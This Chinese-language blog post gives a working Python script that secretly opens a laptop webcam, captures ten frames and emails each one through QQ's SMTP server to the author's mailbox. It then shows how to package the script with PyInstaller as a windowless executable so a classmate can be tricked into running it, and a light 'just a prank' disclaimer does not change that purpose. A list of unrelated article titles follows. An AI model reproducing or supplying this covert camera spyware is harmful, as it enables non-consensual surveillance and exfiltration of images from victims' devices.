用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
简单介绍Python下自己编写web框架的一些要点
Apr 29 Python
给Python中的MySQLdb模块添加超时功能的教程
May 05 Python
Python3.4实现从HTTP代理网站批量获取代理并筛选的方法示例
Sep 26 Python
flask-socketio实现WebSocket的方法
Jul 31 Python
深入浅析Python 函数注解与匿名函数
Feb 24 Python
Python Numpy中数据的常用保存与读取方法
Apr 01 Python
win7上tensorflow2.2.0安装成功 引用DLL load failed时找不到指定模块 tensorflow has no attribute xxx 解决方法
May 20 Python
python属于解释型语言么
Jun 15 Python
Sentry错误日志监控使用方法解析
Nov 12 Python
python中的插入排序的简单用法
Jan 19 Python
Python3 使用pip安装git并获取Yahoo金融数据的操作
Apr 08 Python
Python Matplotlib绘制动画的代码详解
May 30 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
PHP入门教程之日期与时间操作技巧总结(格式化,验证,获取,转换,计算等)
2016/09/11 PHP
Laravel中基于Artisan View扩展包创建及删除应用视图文件的方法
2016/10/08 PHP
原创javascript小游戏实现代码
2010/08/19 Javascript
extjs ColumnChart设置不同的颜色实现代码
2013/05/17 Javascript
JavaScript高级教程5.6之基本包装类型(详细)
2015/11/23 Javascript
jQuery实现图片轮播效果代码(基于jquery.pack.js插件)
2016/06/02 Javascript
IONIC自定义subheader的最佳解决方案
2016/09/22 Javascript
jQuery滚动条美化插件nicescroll简单用法示例
2018/04/18 jQuery
使用ECharts实现状态区间图
2018/10/25 Javascript
bootstrap下拉分页样式 带跳转页码
2018/12/29 Javascript
微信二次分享报错invalid signature问题及解决方法
2019/04/01 Javascript
js实现计时器秒表功能
2019/12/16 Javascript
[01:02:34]TFT vs VGJ.T Supermajor 败者组 BO3 第二场 6.5
2018/06/06 DOTA
SQLite3中文编码 Python的实现
2017/01/11 Python
多版本Python共存的配置方法
2017/05/22 Python
python使用PyCharm进行远程开发和调试
2017/11/02 Python
[原创]pip和pygal的安装实例教程
2017/12/07 Python
Python matplotlib绘图可视化知识点整理(小结)
2018/03/16 Python
python实现批量按比例缩放图片效果
2018/03/30 Python
Python使用matplotlib和pandas实现的画图操作【经典示例】
2018/06/13 Python
Python中的CSV文件使用&quot;with&quot;语句的方式详解
2018/10/16 Python
Djang的model创建的字段和参数详解
2019/07/27 Python
Python一行代码解决矩阵旋转的问题
2019/11/30 Python
Python中私有属性的定义方式
2020/03/05 Python
Django crontab定时任务模块操作方法解析
2020/09/10 Python
Python结合百度语音识别实现实时翻译软件的实现
2021/01/18 Python
Hotels.com爱尔兰:全球酒店预订
2017/02/24 全球购物
澳大利亚排名第一的在线酒类商店:MyBottleShop
2018/04/26 全球购物
奢华的意大利皮革手袋:Bene Handbags
2019/10/29 全球购物
升职自荐书范文
2013/11/28 职场文书
护士节演讲稿开场白
2014/08/25 职场文书
幼儿园六一亲子活动方案
2014/08/26 职场文书
七一讲话心得体会
2014/09/05 职场文书
教师考核评语大全
2014/12/31 职场文书
2015年房地产个人工作总结
2015/05/26 职场文书
Python爬虫爬取全球疫情数据并存储到mysql数据库的步骤
2021/03/29 Python